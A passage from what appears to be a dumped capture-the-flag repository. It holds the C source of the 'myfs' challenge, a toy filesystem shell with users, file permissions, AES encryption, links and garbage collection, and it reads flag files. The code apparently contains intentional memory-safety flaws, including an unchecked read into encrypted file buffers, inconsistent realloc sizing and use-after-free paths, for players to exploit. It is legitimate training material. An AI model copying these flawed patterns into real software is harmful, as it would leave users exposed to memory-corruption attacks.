-1;\n\n    if (mf->uid != mu->uid && !mf_is_readable(mf))\n        return -1;\n\n    if (my_encrypt(mf->data.ino->content, &mf->size) == -1)\n        return -1;\n    mf->metadata |= MF_META_ENCED;\n\n    return 0;\n}\n\nint dec_mf(MyUser *mu, MyFile *mf)\n{\n    while (mf && mf_is_slink(mf))\n        mf = mf->data.link;\n\n    if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf) ||\n        !mf_is_enc(mf) || mf->data.ino->content == NULL)\n        return -1;\n\n    if (mf->uid != mu->uid && !mf_is_readable(mf))\n        return -1;\n\n    if (my_decrypt(mf->data.ino->content, &mf->size) == -1)\n        return -1;\n    mf->metadata &= ~MF_META_ENCED;\n\n    return 0;\n}\n\nint read_mf(MyUser *mu, MyFile *mf)\n{\n    while (mf && mf_is_slink(mf))\n        mf = mf->data.link;\n\n    if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf))\n        return -1;\n\n    if (mf->uid != mu->uid && !mf_is_readable(mf))\n        return -1;\n    \n    char buf[MF_SIZE_MAX];\n    int nr;\n\n    if (mf_is_enc(mf))\n        return read(STDIN_FILENO, mf->data.ino->content, mf->size);\n\n    nr = read(STDIN_FILENO, buf, MF_SIZE_MAX);\n    if (nr == -1)\n        return -1;\n\n    uint16_t tmp = mf->size % 0x10;\n    int16_t chk_min = tmp >= 0x9 ? (mf->size - tmp + 0x9) : (mf->size - tmp - 0x7);\n    int16_t chk_max = chk_min + 0xf;\n    \n    if (!mf->size || chk_min < 0 || chk_max < 0 || chk_min > nr || chk_max < nr)\n        mf->data.ino->content = realloc(mf->data.ino->content, nr + 0x10);\n        \n    mf->size = nr;\n    memcpy(mf->data.ino->content, buf, mf->size);\n    return nr;\n}\n\nssize_t write_mf(MyUser *ms, MyFile *mf)\n{\n    while (mf && mf_is_slink(mf))\n        mf = mf->data.link;\n\n    if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf))\n        return -1;\n\n    if (mf_is_enc(mf))\n        return hexdump(mf->data.ino->content, AES_BLOCK_SIZE);\n    \n    if (mf->uid != ms->uid && !mf_is_writable(mf))\n        return -1;\n\n    return write(STDOUT_FILENO, mf->data.ino->content, mf->size);\n}\n\nint set_mf_prot(MyUser *ms, MyFile *mf, char *prot)\n{\n    while (mf && mf_is_slink(mf))\n        mf = mf->data.link;\n\n    if (!mf || mf_is_deleted(mf))\n        return -1;\n        \n    if (mf->uid != ms->uid && !mf_is_writable(mf))\n        return -1;\n\n    if (!strcmp(prot, \"read\"))\n        mf->metadata |= MF_META_PROT_READ;\n    else if (!strcmp(prot, \"write\"))\n        mf->metadata |= MF_META_PROT_WRITE;\n    else if (!strcmp(prot, \"read,write\"))\n        mf->metadata |= (MF_META_PROT_WRITE | MF_META_PROT_READ);\n    \n    return 0;\n}\n\nint unset_mf_prot(MyUser *ms, MyFile *mf, char *prot)\n{\n    while (mf && mf_is_slink(mf))\n        mf = mf->data.link;\n\n    if (!mf || mf_is_deleted(mf))\n        return -1;\n\n    if (mf->uid != ms->uid && !mf_is_writable(mf))\n        return -1;\n\n    if (!strcmp(prot, \"read\"))\n        mf->metadata &= ~MF_META_PROT_READ;\n    else if (!strcmp(prot, \"write\"))\n        mf->metadata &= ~MF_META_PROT_WRITE;\n    else if (!strcmp(prot, \"read,write\"))\n        mf->metadata &= ~(MF_META_PROT_WRITE | MF_META_PROT_READ);\n\n    return 0;\n}\n\nvoid list_dir(MyUser *mu)\n{\n    MyFile *curr_mf = NULL;\n    list_head *curr = mu->curr_dir->dir_hd.next;\n\n    printf(\"total %u\\n\", mu->curr_dir->size);\n    while (curr) {\n        curr_mf = container_of(curr, MyFile, next_file);\n        show_fileinfo(mu, curr_mf, 0);\n        curr = curr->next;\n    }\n}\n\nvoid softlink_setsrc(MyUser *mu, MyFile *mf)\n{\n    mu->softlink = mf;\n}\n\nint softlink_setdst(MyUser *mu, char *fn)\n{\n    if (!mu->softlink)\n        return -1;\n\n    // we hope a file not to link file of higher layer\n    if (!is_desc(mu->curr_dir, mu->softlink))\n        return -1;\n    \n    MyFile *mf = _new_slink(mu->uid, mu->softlink, fn);\n    list_add(&mu->curr_dir->dir_hd, &mf->next_file);\n    mu->curr_dir->size++;\n    mu->softlink = NULL;\n    return 0;\n}\n\nvoid hardlink_setsrc(MyUser *mu, MyFile *mf)\n{\n    mu->hardlink = mf;\n}\n\nint hardlink_setdst(MyUser *mu, char *fn)\n{\n    if (!mu->hardlink)\n        return -1;\n\n    // we hope a file not to link file of higher layer\n    if (!is_desc(mu->curr_dir, mu->hardlink))\n        return -1;\n\n    // sorry we don't support other types currently\n    if (!mf_is_normfile(mu->hardlink))\n        return -1;\n    \n    MyFile *mf = _new_hlink(mu->uid, mu->hardlink, fn);\n    list_add(&mu->curr_dir->dir_hd, &mf->next_file);\n    mu->curr_dir->size++;\n    mu->hardlink = NULL;\n    return 0;\n}\n\nint mf_gc_list_add(GC *gc, list_head *hd)\n{\n    list_add(&gc->next_g, hd);\n\n    if (++gc->delcnt % 0x10)\n        return 0;\n\n    // if there are 16 deleted files, sweep them\n    MyFile *curr_mf = NULL;\n    list_head *curr = gc->next_g.next, *next = NULL;\n\n    while (curr) {\n        next = curr->next;\n        curr_mf = container_of(curr, MyFile, next_file);\n        if (_release_mf(curr_mf) == -1)\n            return -1;\n        curr = next;\n    }\n    return 0;\n}\n\nint _release_mf(MyFile *mf)\n{\n    /**\n     * if there is a softlink linked to file being deleted at least,\n     * we just do nothing, waiting for softlink checking to release it\n     */\n    MyFile *root = container_of(rootfs.next, MyFile, next_file);\n    if (mf->refcnt)\n        return 0;\n\n    if (mf_is_hlink(mf))\n        if (--mf->data.ino->refcnt != 0)\n            goto ret;\n    \n    if (mf_is_normfile(mf)) {\n        free(mf->data.ino->content);\n        free(mf->data.ino);\n    } else if (mf_is_dir(mf)) {\n        free(mf->data.ino);\n    } else if (mf_is_slink(mf)) {\n        // try to release softlink target\n        _release_mf(mf->data.link);\n    } else {\n        return -1;\n    }\n\nret:\n    free(mf->fn);\n    free(mf);\n    return 0;\n}\n\nint is_desc(MyFile *curr_mf, MyFile *target)\n{\n    list_head *curr = curr_mf->dir_hd.next;\n    while (curr) {\n        curr_mf = container_of(curr, MyFile, next_file);\n        \n        if (target == curr_mf)\n            return 1;\n        \n        if (mf_is_dir(curr_mf) && is_desc(curr_mf, target))\n            return 1;\n\n        curr = curr->next;\n    }\n\n    return 0;\n}\n\nint is_ref_by_other(MyFile *dir, MyFile *target)\n{\n    MyFile *curr_mf = NULL;\n    list_head *curr = dir->dir_hd.next;\n\n    while (curr) {\n        curr_mf = container_of(curr, MyFile, next_file);\n        if (mf_is_slink(curr_mf) && target == curr_mf->data.link) {\n            return 1;\n        } else if (mf_is_dir(curr_mf) && is_ref_by_other(curr_mf, target)) {\n            return 1;\n        }\n        curr = curr->next;\n    }\n\n    return 0;\n}\n\nint is_existed(MyFile **mf, MyFile *curr_dir, char *fn)\n{\n    if ((*mf = _get_mf_by_fname(curr_dir, fn)) != NULL)\n        return 1;\n    return 0;\n}"
  },
  {
    "path": "2021/quals/myfs/share/fs.h",
    "content": "#ifndef _FS_H_\n#define _FS_H_\n\n#include \"list.h\"\n#include \"gc.h\"\n#include <stdint.h>\n#include <sys/types.h>\n\n#define MF_SIZE_INIT 0x100\n#define MF_SIZE_MAX  0x1000\n#define MF_META_PROT_READ     0b00000001\n#define MF_META_PROT_WRITE    0b00000010\n#define MF_META_ENCED         0b00000100\n#define MF_META_TYPE_IS_DIR   0b00001000\n#define MF_META_TYPE_IS_SLINK 0b00010000\n#define MF_META_TYPE_IS_HLINK 0b00100000\n\nstatic int8_t mf_cnt = 0;\n\ntypedef struct iNode\n{\n    char *content;\n    uint8_t refcnt;\n} iNode;\n\ntypedef struct _MyFile\n{\n    int8_t fid;\n    uint8_t uid;\n    uint8_t refcnt;\n    uint8_t metadata;\n    uint16_t size;\n    \n    char *fn;\n    union\n    {\n        iNode *ino;\n        struct _MyFile *link;\n    } data;\n    \n    list_head dir_hd;\n    list_head next_file;\n} MyFile;\n\nstatic inline int mf_is_readable(MyFile *mf)\n{\n    return (mf->metadata & MF_META_PROT_READ) != 0;\n}\n\nstatic inline int mf_is_writable(MyFile *mf)\n{\n    return (mf->metadata & MF_META_PROT_WRITE) != 0;\n}\n\nstatic inline int mf_is_deleted(MyFile *mf)\n{\n    return mf->fid == -1;\n}\n\nstatic inline int mf_is_enc(MyFile *mf)\n{\n    return (mf->metadata & MF_META_ENCED) != 0;\n}\n\nstatic inline int mf_is_dir(MyFile *mf)\n{\n    return (mf->metadata & MF_META_TYPE_IS_DIR) != 0;\n}\n\nstatic inline int mf_is_slink(MyFile *mf)\n{\n    return (mf->metadata & MF_META_TYPE_IS_SLINK) != 0;\n}\n\nstatic inline int mf_is_hlink(MyFile *mf)\n{\n    return (mf->metadata & MF_META_TYPE_IS_HLINK) != 0;\n}\n\nstatic inline int mf_is_normfile(MyFile *mf)\n{\n    return ((mf->metadata & MF_META_TYPE_IS_SLINK) |\n            (mf->metadata & MF_META_TYPE_IS_HLINK) |\n            (mf->metadata & MF_META_TYPE_IS_DIR)) == 0;\n}\n\nMyFile *__new_mf();\n\nMyFile *_new_normfile(uint8_t uid, char *fn);\nMyFile *_new_dir(uint8_t uid, char *fn);\nMyFile *_new_slink(uint8_t uid, MyFile *link, char *fn);\nMyFile *_new_hlink(uint8_t uid, MyFile *link, char *fn);\nMyFile *_get_mf_by_fname(MyFile *hd, char *fn);\n\nint _release_mf();\n\nint is_desc(MyFile *curr_mf, MyFile *target);\nint is_existed(MyFile **mf, MyFile *curr_dir, char *fn);\nint is_ref_by_other(MyFile *_root, MyFile *target);\n\nint mf_gc_list_add(GC *gc, list_head *hd);\n\n\n#include \"user.h\"\nMyFile *get_mf_by_fname(MyUser *mu, char *fn);\n/**\n * create_mf(): create file \n * > create dir <file_name>\n * > create normfile <file_name>\n */\nint create_mf(MyUser *mu, char *type, char *fn);\n\n/**\n * delete_mf(): delete file\n * > rm <file_name>\n */\nint delete_mf(GC *gc, MyUser *mu, MyFile *mf);\n\n/**\n * enter_dir(): enter a directory\n * > cd <file_name>\n */\nint enter_dir(MyUser *mu, MyFile *mf);\nint goto_rootfs(MyUser *mu);\n\n/**\n * read_mf(): read data from stdin and write to file\n * > read <file_name>\n */\nint read_mf(MyUser *mu, MyFile *mf);\n\n/**\n * write_mf(): write file content to stdout\n * > write <file_name>\n */\nssize_t write_mf(MyUser *mu, MyFile *mf);\n\n/**\n * enc_mf(): encrypt file\n * > enc <file_name>\n */\nint enc_mf(MyUser *mu, MyFile *mf);\n\n/**\n * dec_mf(): decrypt file\n * > dec <file_name>\n */\nint dec_mf(MyUser *mu, MyFile *mf);\n\n/**\n * set_mf_prot(): set the prot of file\n * > set <file_name> <prot>\n */\nint set_mf_prot(MyUser *ms, MyFile *mf, char *prot);\n\n/**\n * unset_mf_prot(): unset the prot of file\n * > unset <file_name> <prot>\n */\nint unset_mf_prot(MyUser *ms, MyFile *mf, char *prot);\n\n/**\n * show_fileinfo(): show the information of file\n * > info <file_name>\n */\nvoid show_fileinfo(MyUser *mu, MyFile *mf, uint8_t all_name);\n\n/**\n * list_file(): list files in the current directory\n * > ls\n */\nvoid list_dir(MyUser *mu);\n\n/**\n * softlink_setsrc(): set the source file of softlink\n * > slss <file_name>\n */\nvoid softlink_setsrc(MyUser *mu, MyFile *mf);\n\n/**\n * softlink_setdst(): set the destination file of softlink\n * > slsd <file_name>\n */\nint softlink_setdst(MyUser *mu, char *fn);\n\n/**\n * hardlink_setsrc(): set the source file of hardlink\n * > hlss <file_name>\n */\nvoid hardlink_setsrc(MyUser *mu, MyFile *mf);\n\n/**\n * hardlink_setdst(): set the destination file of hardlink\n * > hlsd <file_name>\n */\nint hardlink_setdst(MyUser *mu, char *fn);\n\n#endif"
  },
  {
    "path": "2021/quals/myfs/share/gc.c",
    "content": "#include \"gc.h\"\n#include <stdlib.h>\n\nGC *new_gc()\n{\n    GC *gc = (GC *) malloc(sizeof(GC));\n    gc->delcnt = 0;\n    gc->gc_list_add = NULL;\n    gc->next_g.next = NULL;\n    return gc;\n}"
  },
  {
    "path": "2021/quals/myfs/share/gc.h",
    "content": "#ifndef _GC_H_\n#define _GC_H_\n\n#include \"list.h\"\n#include <stdint.h>\n\ntypedef struct _GC {\n    uint32_t delcnt;\n    int (*gc_list_add)(struct _GC*, list_head*);\n    list_head next_g;\n} GC;\n\nGC *new_gc();\n\n#endif"
  },
  {
    "path": "2021/quals/myfs/share/list.h",
    "content": "#ifndef _LIST_H_\n#define _LIST_H_\n\n#include <stdio.h>\n\n#define offsetof(type, member) ((size_t) &((type*)0)->member)\n#define container_of(ptr, type, member) ({                    \\\n        const typeof(((type *)0)->member) *__mptr = (ptr);   \\\n        (type *)((char *)__mptr - offsetof(type, member)); })\n\ntypedef struct list_head {\n    struct list_head *next;\n} list_head;\n\nstatic inline void list_add(list_head *hd, list_head *node)\n{\n    node->next = hd->next;\n    hd->next = node;\n}\n\nstatic inline void list_delete(list_head *hd, list_head *node)\n{\n    while (hd->next && hd->next != node)\n        hd = hd->next;\n    hd->next = node->next;\n}\n\n#endif"
  },
  {
    "path": "2021/quals/myfs/share/main.c",
    "content": "#include \"fs.h\"\n#include \"user.h\"\n#include \"gc.h\"\n#include \"list.h\"\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n\nGC *gc;\nextern list_head rootfs;\n\n#define ENDL \"\\n\"\nstatic void banner()\n{\n    printf(\n        \" _|      _|            _|_|_|_|    _|_|_|  \" ENDL\n        \" _|_|  _|_|  _|    _|  _|        _|        \" ENDL\n        \" _|  _|  _|  _|    _|  _|_|_|      _|_|    \" ENDL\n        \" _|      _|  _|    _|  _|              _|  \" ENDL\n        \" _|      _|    _|_|_|  _|        _|_|_|    \" ENDL\n        \"                   _|                      \" ENDL\n        \"               _|_|                        \" ENDL\n        \"                                  beta ver.\" ENDL\n    );\n}\n\nstatic void usage()\n{\n    printf(\n        \"[add new user]\" ENDL\n        \"   useradd <username> <password>\" ENDL\n        \"[delete new user]\" ENDL\n        \"   userdel <username> <password>\" ENDL\n        \"[login]\" ENDL\n        \"   login <username> <password>\" ENDL\n        \"[create]\" ENDL\n        \"   create dir <file_name>\" ENDL\n        \"   create normfile <file_name>\" ENDL\n        \"[delete]\" ENDL\n        \"   rm <file_name>\" ENDL\n        \"[enter dir]\" ENDL\n        \"   cd <file_name>\" ENDL\n        \"[read]\" ENDL\n        \"   read <file_name>\" ENDL\n        \"[write]\" ENDL\n        \"   write <file_name>\" ENDL\n        \"[encrypt]\" ENDL\n        \"   enc <file_name>\" ENDL\n        \"[decrypt]\" ENDL\n        \"   dec <file_name>\" ENDL\n        \"[set permission]\" ENDL\n        \"   set <file_name> <prot>\" ENDL\n        \"[unset permission]\" ENDL\n        \"   unset <file_name> <prot>\" ENDL\n        \"[list files]\" ENDL\n        \"   ls\" ENDL\n        \"[show info of file]\" ENDL\n        \"   info <file_name>\" ENDL\n        \"[set softlink source]\" ENDL\n        \"   slss <file_name>\" ENDL\n        \"[set softlink destination]\" ENDL\n        \"   slsd <file_name>\" ENDL\n        \"[set hardlink source]\" ENDL\n        \"   hlss <file_name>\" ENDL\n        \"[set hardlink destination]\" ENDL\n        \"   hlsd <file_name>\" ENDL\n    );\n}\n\nvoid pexit(const char *msg)\n{\n    perror(msg);\n    exit(1);\n}\n\nint mock()\n{\n    MyFile *tmp_mf = NULL, *tmp_dir = NULL;\n    MyFile *rootfs_mf = container_of(rootfs.next, MyFile, next_file);\n    MyUser *root = new_mu(\"root\", \"root\", rootfs_mf);\n    int pipefd[2];\n    int old_stdin, old_stdout;\n\n    old_stdin = dup(STDIN_FILENO);\n    old_stdout = dup(STDOUT_FILENO);\n    pipe(pipefd);\n    dup2(pipefd[0], STDIN_FILENO);\n    dup2(pipefd[1], STDOUT_FILENO);\n    close(pipefd[0]);\n    close(pipefd[1]);\n\n    // set rootfs as readable and writable\n    set_mf_prot(root, rootfs_mf, \"read,write\");\n\n    // Test 1. create directory and normal file\n    if (create_mf(root, \"dir\", \"test_dir_L1\") == -1)\n        return -1;\n    if (create_mf(root, \"normfile\", \"test_file_L1\") == -1)\n        return -1;\n    \n    // Test 2. update file and directory permission\n    tmp_mf = get_mf_by_fname(root, \"test_file_L1\");\n    if (set_mf_prot(root, tmp_mf, \"read\") == -1)\n        return -1;\n    tmp_dir = get_mf_by_fname(root, \"test_dir_L1\");\n    if (set_mf_prot(root, tmp_dir, \"read,write\") == -1)\n        return -1;\n\n    // Test 3. change directory and create some files\n    if (enter_dir(root, tmp_dir) == -1)\n        return -1;\n    if (create_mf(root, \"dir\", \"test_dir_L2\") == -1)\n        return -1;\n    if (create_mf(root, \"normfile\", \"test_file_L2\") == -1)\n        return -1;\n    if (create_mf(root, \"normfile\", \"test_file2_L2\") == -1)\n        return -1;\n    \n    // Test 4. read and write file\n    char buf[0x20] = {0};\n    char buf2[0x20] = {0};\n    int flag1_fd = open(\"/home/myfs/flag1.txt\", O_RDONLY);\n    int flag_len;\n    \n    if (flag1_fd == -1)\n        return -1;\n    read(flag1_fd, buf, 0x10);\n    close(flag1_fd);\n\n\n    if ((flag_len = strlen(buf)) >= 0x10)\n        return -1;\n    \n    tmp_mf = get_mf_by_fname(root, \"test_file2_L2\");\n    write(STDOUT_FILENO, buf, flag_len);\n    if (read_mf(root, tmp_mf) == -1)\n        return -1;\n    if (write_mf(root, tmp_mf) == -1)\n        return -1;\n    read(STDIN_FILENO, buf2, flag_len);\n    if (strcmp(buf, buf2))\n        return -1;\n    unlink(\"/home/myfs/flag1.txt\");\n    \n    // Test 5. encrypt and decrypt file\n    if (enc_mf(root, tmp_mf) == -1)\n        return -1;\n    if (dec_mf(root, tmp_mf) == -1)\n        return -1;\n    if (write_mf(root, tmp_mf) == -1)\n        return -1;\n    read(STDIN_FILENO, buf2, flag_len);\n    if (strcmp(buf, buf2))\n        return -1;\n\n    // Test 6. test softlink\n    softlink_setsrc(root, tmp_mf);\n\n    tmp_dir = get_mf_by_fname(root, \"test_dir_L2\");\n    if (enter_dir(root, tmp_dir) == -1)\n        return -1;\n    if (softlink_setdst(root, \"sl_will_fail\") != -1)\n        return -1;\n\n    goto_rootfs(root);\n    if (softlink_setdst(root, \"sl_will_ok\") == -1)\n        return -1;\n    tmp_mf = get_mf_by_fname(root, \"sl_will_ok\");\n    if (delete_mf(gc, root, tmp_mf) == -1)\n        return -1;\n    \n    // Test 7. test hardlink\n    tmp_dir = get_mf_by_fname(root, \"test_dir_L1\");\n    if (enter_dir(root, tmp_dir) == -1)\n        return -1;\n\n    tmp_mf = get_mf_by_fname(root, \"test_file2_L2\");\n    hardlink_setsrc(root, tmp_mf);\n\n    tmp_dir = get_mf_by_fname(root, \"test_dir_L2\");\n\n    if (enter_dir(root, tmp_dir) == -1)\n        return -1;\n    if (hardlink_setdst(root, \"hl_will_fail\") != -1)\n        return -1;\n\n    goto_rootfs(root);\n    if (hardlink_setdst(root, \"hl_will_ok\") == -1)\n        return -1;\n    tmp_mf = get_mf_by_fname(root, \"hl_will_ok\");\n    if (delete_mf(gc, root, tmp_mf) == -1)\n        return -1;\n\n    // Test 8. create and delete user\n    MyUser *_new_mu = new_mu(\"test\", \"test\", rootfs_mf);\n    if (delete_mu(\"root\", \"root\", root) != -1)\n        return -1;\n    if (delete_mu(\"root\", \"root\", _new_mu) == -1)\n        return -1;\n\n    memset(buf, 0, 0x10);\n    int flag2_fd = open(\"/home/myfs/flag2.txt\", O_RDONLY);\n    if (flag2_fd == -1)\n        return -1;\n    read(flag2_fd, buf, 0x10);\n    close(flag2_fd);\n\n    if ((flag_len = strlen(buf)) >= 0x10)\n        return -1;\n\n    tmp_mf = get_mf_by_fname(root, \"test_file_L1\");\n    write(STDOUT_FILENO, buf, flag_len);\n    if (read_mf(root, tmp_mf) == -1)\n        return -1;\n    if (enc_mf(root, tmp_mf) == -1)\n        return -1;\n    unlink(\"/home/myfs/flag2.txt\");\n\n    // restore environment\n    dup2(old_stdin, STDIN_FILENO);\n    dup2(old_stdout, STDOUT_FILENO);\n    close(old_stdin);\n    close(old_stdout);\n\n    return 0;\n}\n\nvoid init_proc()\n{\n    // init garbage collector\n    gc = new_gc();\n    gc->gc_list_add = mf_gc_list_add;\n\n    // init filesystem\n    MyFile *_rootfs_mf = _new_dir(0, \"\");\n    rootfs.next = &_rootfs_mf->next_file;\n}\n\nint main()\n{\n    setvbuf(stdin, 0, 2, 0);\n    setvbuf(stdout, 0, 2, 0);\n\n    init_proc();\n    banner();\n\n    if (mock())\n        pexit(\"[-] server error\");\n\n#define DELIM \" \"\n#define CMD_LEN 0x80\n    \n    char cmd[CMD_LEN];\n    char *argv0 = NULL, *argv1 = NULL, *argv2 = NULL;\n    MyFile *_rootfs_mf = container_of(rootfs.next, MyFile, next_file);\n    MyFile *mf = NULL;\n    MyUser *mu = new_mu(\"user1\", \"1234\", _rootfs_mf);\n\n\n    if (mu == NULL)\n        pexit(\"[-] create user error\");\n\n    while (1)\n    {\n        for (int i = 0; i < mu->dir_deep; i++)\n            printf(\"%s/\", mu->dir_stack[i]->fn);\n        printf(\"> \");\n\n        if (fgets(cmd, CMD_LEN, stdin) == NULL)\n            pexit(\"[-] read command error\");\n        if (cmd[strlen(cmd) - 1] == '\\n')\n            cmd[strlen(cmd) - 1] = '\\0';\n        \n        mf = NULL;\n        argv0 = strtok(cmd, DELIM);\n        argv1 = (argv0 != NULL) ? strtok(NULL, DELIM) : NULL;\n        argv2 = (argv1 != NULL) ? strtok(NULL, DELIM) : NULL;\n\n        if (!argv0)\n            continue;\n\n        if (!strcmp(argv0, \"ls\")) {\n            list_dir(mu);\n        } else if (!strcmp(argv0, \"create\")) {\n            if (!argv1 || !argv2 || \n                is_existed(&mf, mu->curr_dir, argv2) ||\n                create_mf(mu, argv1, argv2) == -1)\n                puts(\"[-] create file error\");\n        } else if (argv1 && argv2 && !strcmp(argv0, \"useradd\")) {\n            if (new_mu(argv1, argv2, _rootfs_mf) == NULL)\n                puts(\"[-] change user error\");\n        } else if (argv1 && argv2 && !strcmp(argv0, \"userdel\")) {\n            if (delete_mu(argv1, argv2, mu) == -1)\n                puts(\"[-] change user error\");\n        } else if (argv1 && argv2 && !strcmp(argv0, \"login\")) {\n            MyUser *tmp_mu = login_mu(argv1, argv2);\n            if (tmp_mu == NULL)\n                puts(\"[-] change user error\");\n            else\n                mu = tmp_mu;\n        } else {\n            if (argv1 && !strcmp(argv1, \"..\")) {\n                if (mu->dir_deep == 1) {\n                    puts(\"[-] at root directory\");\n                    continue;\n                }\n                mf = mu->dir_stack[mu->dir_deep - 2];\n            }\n\n            if (!mf && argv1)\n                is_existed(&mf, mu->curr_dir, argv1);\n\n            if (mf && !strcmp(argv0, \"rm\")) {\n                if (delete_mf(gc, mu, mf) == -1)\n                    puts(\"[-] delete file error\");\n            } else if ((mf || (argv1 && !strcmp(argv1, \"..\"))) &&\n                        !strcmp(argv0, \"cd\")) {\n                if (enter_dir(mu, mf) == -1)\n                    puts(\"[-] enter directory error\");\n            } else if (mf && !strcmp(argv0, \"read\")) {\n                if (read_mf(mu, mf) == -1)\n                    puts(\"[-] read file error\");\n            } else if (mf && !strcmp(argv0, \"write\")) {\n                if (write_mf(mu, mf) == -1)\n                    puts(\"[-] write file error\");\n            } else if (mf && !strcmp(argv0, \"info\")) {\n                show_fileinfo(mu, mf, 1);\n            } else if (mf && !strcmp(argv0, \"enc\")) {\n                if (enc_mf(mu, mf) == -1)\n                    puts(\"[-] encrypt file error\");\n            } else if (mf && !strcmp(argv0, \"dec\")) {\n                if (dec_mf(mu, mf) == -1)\n                    puts(\"[-] decrypt file error\");\n            } else if (mf && !strcmp(argv0, \"set\")) {\n                if (!argv2 || set_mf_prot(mu, mf, argv2) == -1)\n                    puts(\"[-] set permission error\");\n            } else if (mf && !strcmp(argv0, \"unset\")) {\n                if (!argv2 || unset_mf_prot(mu, mf, argv2) == -1)\n                    puts(\"[-] unset permission error\");\n            } else if (mf && !strcmp(argv0, \"slss\")) {\n                softlink_setsrc(mu, mf);\n            } else if (!strcmp(argv0, \"slsd\")) {\n                if (mf || !argv1 || softlink_setdst(mu, argv1) == -1)\n                    puts(\"[-] softlink error\");\n            } else if (mf && !strcmp(argv0, \"hlss\")) {\n                hardlink_setsrc(mu, mf);\n            } else if (!strcmp(argv0, \"hlsd\")) {\n                if (mf || !argv1 || hardlink_setdst(mu, argv1) == -1)\n                    puts(\"[-] hardlink error\");\n            } else if (!strcmp(argv0, \"help\") || !strcmp(argv0, \"?\")) {\n                usage();\n            } else {\n                if (argv1 && !mf)\n                    puts(\"[-] file not found\");\n                else\n                    puts(\"[-] unknown command\");\n            }\n        }\n            \n    }    \n}"
  },
  {
    "path": "2021/quals/myfs/share/mycrypto.c",
    "content": "#include \"mycrypto.h\"\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <openssl/aes.h>\n#include <openssl/rand.h>\n\nunsigned char key[AES_KEY_LENGTH + 1] = {0};\nunsigned char mycrypto_is_init = 0;\n\nvoid mycrypto_try_init()\n{\n    if (mycrypto_is_init)\n        return;\n    \n    do {\n        RAND_bytes(key, AES_KEY_LENGTH);\n    } while (strlen(key) != 16);\n\n    mycrypto_is_init = 1;\n}\n\nint hexdump(unsigned char *data, uint16_t len)\n{\n    for (int i = 0; i < len; i++)\n        printf(\"%02x\", data[i]);\n    return 0;\n}\n\nint my_encrypt(unsigned char *plaintext, uint16_t *len)\n{\n    mycrypto_try_init();\n\n    AES_KEY encryption_key;\n    unsigned char iv[AES_BLOCK_SIZE];\n    unsigned char backup_iv[AES_BLOCK_SIZE];\n    RAND_bytes(iv, AES_BLOCK_SIZE);\n    memcpy(backup_iv, iv, AES_BLOCK_SIZE);\n\n    if (*len % 0x10) {\n        memset(plaintext + *len, 0x10 - (*len % 0x10), 0x10 - (*len % 0x10));\n        *len += (0x10 - (*len % 0x10)) + AES_BLOCK_SIZE;\n    } else {\n        *len += AES_BLOCK_SIZE;\n    }\n\n    unsigned char *output = (unsigned char *) malloc(*len);\n\n    AES_set_encrypt_key(key, AES_KEY_LENGTH * 8, &(encryption_key));\n    AES_cbc_encrypt(plaintext, output,\n                    *len - AES_BLOCK_SIZE, &encryption_key, iv, AES_ENCRYPT);\n\n    memcpy(plaintext, backup_iv, AES_BLOCK_SIZE);\n    memcpy(plaintext + AES_BLOCK_SIZE, output, *len - AES_BLOCK_SIZE);\n    free(output);\n    return 0;\n}\n\nint my_decrypt(unsigned char *cipher, uint16_t *len)\n{\n    mycrypto_try_init();\n    \n    if (*len % AES_BLOCK_SIZE)\n        return -1;\n\n    AES_KEY decryption_key;\n    unsigned char iv[AES_BLOCK_SIZE];\n    memcpy(iv, cipher, AES_BLOCK_SIZE);\n\n    unsigned char *output = (unsigned char *) malloc(*len);\n\n    AES_set_decrypt_key(key, AES_KEY_LENGTH * 8, &(decryption_key));\n    AES_cbc_encrypt(cipher + AES_BLOCK_SIZE, output,\n                    *len - AES_BLOCK_SIZE, &decryption_key, iv, AES_DECRYPT);\n\n    int cnt = 0;\n    int i = *len - AES_BLOCK_SIZE - 1;\n    unsigned char last = output[i];\n\n    if (last >= 0x10)\n        return -1;\n\n    for (; output[i] == last; i--)\n        cnt++;\n\n    if (cnt != last) {\n        free(output);\n        return -1;\n    }\n\n    memset(cipher, 0, *len);\n    *len -= last + AES_BLOCK_SIZE;\n    memcpy(cipher, output, *len);\n    free(output);\n    \n    return 0;\n}"
  },
  {
    "path": "2021/quals/myfs/share/mycrypto.h",
    "content": "#ifndef _CRYPTO_H_\n#define _CRYPTO_H_\n#define AES_KEY_LENGTH 16\n    \n#include <openssl/aes.h>\n#include <stdint.h>\n\nvoid mycrypto_try_init();\nint hexdump(unsigned char *data, uint16_t len);\nint my_encrypt(unsigned char *plaintext, uint16_t *len);\nint my_decrypt(unsigned char *cipher, uint16_t *len);\n\n#endif"
  },
  {
    "path": "2021/quals/myfs/share/run.sh",
    "content": "#!/bin/bash\n\nexec 2>/dev/null\ntimeout 60 /home/myfs/myfs"
  },
  {
    "path": "2021/quals/myfs/share/user.c",
    "content": "#include \"user.h\"\n#include \"fs.h\"\n#include <stdlib.h>\n#include <string.h>\n\nconst uint32_t mu_max_user_cnt = 0x100;\nstatic MyUser *user_list[0x100];\n\nMyUser *__new_mu(const char *username, const char *password, MyFile *rootfs_mf)\n{\n    if (mu_cnt == mu_max_user_cnt)\n        return NULL;\n\n    if (strlen(username) >= MU_MAX_UNAME_LEN)\n        return NULL;\n\n    if (_get_mu_by_uname(username) != NULL)\n        return NULL;\n\n    MyUser *mu = (MyUser *) malloc(sizeof(MyUser));\n    mu->uid = mu_cnt++;\n    mu->dir_deep = 1;\n    mu->username = strdup(username);\n    mu->password = strdup(password);\n    mu->curr_dir = rootfs_mf;\n    mu->hardlink = NULL;\n    mu->softlink = NULL;\n    mu->dir_stack[0] = rootfs_mf;\n    for (int i = 1; i < MU_DIR_MAX_DEEP; i++)\n        mu->dir_stack[i] = NULL;\n    user_list[mu_cnt - 1] = mu;\n    return mu;\n}\n\nMyUser *new_mu(const char *username, const char *password, MyFile *rootfs_mf)\n{\n    return __new_mu(username, password, rootfs_mf);\n}\n\nint delete_mu(const char *username, const char *password, MyUser *curr_mu)\n{\n    MyUser *mu = _get_mu_by_uname(username);\n\n    if (mu == NULL)\n        return -1;\n\n    if (curr_mu == mu)\n        return -1;\n\n    if (mu_is_deleted(mu))\n        return -1;\n    \n    if (strcmp(password, mu->password))\n        return -1;\n\n    mu->password = NULL;\n    return 0;\n}\n\nconst char 